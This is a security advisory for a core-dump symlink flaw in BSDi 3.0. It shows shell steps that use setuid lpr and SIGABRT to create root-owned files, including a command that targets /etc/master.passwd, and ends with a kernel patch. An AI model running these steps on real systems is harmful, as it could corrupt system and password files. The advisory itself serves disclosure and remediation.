COMMAND
core anomalies
SYSTEMS AFFECTED
BSDi 3.0
PROBLEM
A small and neat bug in BSDi 3.x allows people to arbitrarly
write files with crap for data, but not overwrite them. Like so:
Have a symbolic link, called [programname].core to desired file.
Program must be setuid root.
beep[ /tmp ] ls -la lpr.core
lrwxrwxrwt 1 root wheel 9 Jun 19 20:30 lpr.core@ -> /etc/TEST
beep[ /tmp ]
Just to make sure that file doesn't exist:
beep[ /tmp ] ls -la /etc/TEST
ls: /etc/TEST: No such file or directory
beep[ /tmp ]
Run program. (In our case lpr is convenient since it waits for
tty input and suspends itself.)
beep[ /tmp ] lpr &
[1] 27886
beep[ /tmp ]
[1] + Suspended (tty input) lpr
beep[ /tmp ]
Kill it with the ABRT signal.
beep[ /tmp ] kill -ABRT %1
beep[ /tmp ] fg
lpr
Abort (core dumped)
beep[ /tmp ]
And voila:
beep[ /tmp ] ls -la /etc/TEST
-rw------- 1 root wheel 184320 Jun 19 20:39 /etc/TEST
beep[ /tmp ]
This exploit is similar to the Solaris 2.4 core exploit - with a
few notable diffrences:
A.) BSDi doesn't give a damn that the euid!=ruid, so finding
a setgid program with priviliges isn't neccesary.
B.) BSDi _does_ however, check if the file exists, so it's
quite impossible to overwrite files. Anyway, this is not
100% true. Try:
ln -s /etc/master.passwd /tmp/lpr.core
It seems if the permissions are 0600 on the file you link
to it will overwrite the file.
C.) BSDi _does_ change the permissions of the core dump to
600, and it keeps on being owned by root, so changing the
file is impossible as well.
Credit goes to Nir Soffer.
SOLUTION
Below is a quick workaround until you apply patch M300-023 (for
3.0). Until that, apply the patch to kern/kern_sig.c. A real fix
would require setting the P_SUGID flag in the exec handler in
kern_exec.c. (by stacey@iserver.com).
snip--------------------------------------------------------------
*** kern_sig.c.orig Tue Oct 15 12:23:05 1996
--- kern_sig.c Fri Jun 20 16:26:08 1997
***************
*** 1198,1206 ****
* Don't dump if not root and the process has used set user or
* group privileges.
*/
! if (p->p_flag & P_SUGID &&
! (error = suser(p->p_ucred, &p->p_acflag)) != 0)
! return (error);
/* Don't dump if will exceed file size limit. */
if (ctob(UPAGES + vm->vm_dsize + vm->vm_ssize) >=
--- 1198,1208 ----
* Don't dump if not root and the process has used set user or
* group privileges.
*/
! if ((p->p_flag & P_SUGID || p->p_cred->p_ruid != p->p_ucred->cr_uid) &&
! /*(error = suser(p->p_ucred, &p->p_acflag)) != 0)
! return (error);*/
! p->p_cred->p_ruid)
! return EPERM;
/* Don't dump if will exceed file size limit. */
if (ctob(UPAGES + vm->vm_dsize + vm->vm_ssize) >=